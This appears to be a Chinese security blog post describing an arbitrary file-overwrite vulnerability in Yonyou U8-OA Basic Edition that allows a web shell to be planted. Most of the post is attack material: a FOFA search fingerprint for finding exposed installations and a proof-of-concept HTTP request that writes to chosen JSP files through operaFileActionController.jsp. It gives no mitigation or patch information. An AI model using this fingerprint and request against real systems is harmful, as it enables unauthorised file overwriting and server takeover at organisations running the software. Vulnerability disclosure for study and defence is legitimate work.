高危CNVD|用友-U8-OA基础版存在文件上传漏洞getshell

最新推荐文章于 2024-09-27 17:55:41 发布

网络安全工程师老王

最新推荐文章于 2024-09-27 17:55:41 发布

阅读量801

点赞数 3

CC 4.0 BY-SA版权

文章标签：网络安全渗透测试

本文链接：https://blog.csdn.net/2401_83799022/article/details/139766172

漏洞描述

用友U8-OA基础版存在任意文件覆盖写入漏洞
漏洞说明：用友U8-OA基础版因为代码问题，存在任意文件覆盖写入漏洞，可以覆盖写入系统中存在的文件，可getshell。
FOFA指纹:

body="致远" && "/yyoa/" && icon_hash="23842899"

产品版本证明：根据上方fofa检索到的结果，任意打开一个系统，在系统登陆界面底部有版本信息

漏洞POC：

GET /yyoa/portal/style/controller/operaFileActionController.jsp?path={系统中存在的文件路径}&type=jsp&fileop=save&context=111 HTTP/1.1
Host: host
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36